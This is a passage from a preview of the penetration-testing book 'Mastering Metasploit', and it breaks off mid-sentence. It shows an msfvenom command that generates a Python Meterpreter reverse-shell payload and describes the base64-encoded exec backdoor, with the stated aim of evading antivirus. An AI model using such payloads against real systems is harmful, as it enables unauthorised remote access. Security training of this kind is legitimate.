-
Book Overview & Buying
-
Table Of Contents
Mastering Metasploit - Fourth Edition
By :
Python is handy for everyday tasks, including evading AVs. We can use Python's Meterpreter, which is offered by Metasploit, to build an executable. The first step is to generate a Python Meterpreter file by issuing the msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.204.143 LPORT=4444 -o meterpreter.py command, as follows:
Figure 9.18 – Generating Python payloads using msfvenom
We can see we have successfully created a Python Meterpreter file. Let's take a look at the contents of the file, as follows:
Figure 9.19 – Python backdoor generated by msfvenom
Well, the code is pretty compact. We can see a base64-encoded string, which, upon decoding, is passed to the exec function for execution. At this point, if we want to run this file, we can, and we will get a Meterpreter session with ease. However, the code is Python-dependent on the target. So, to generate something dependency...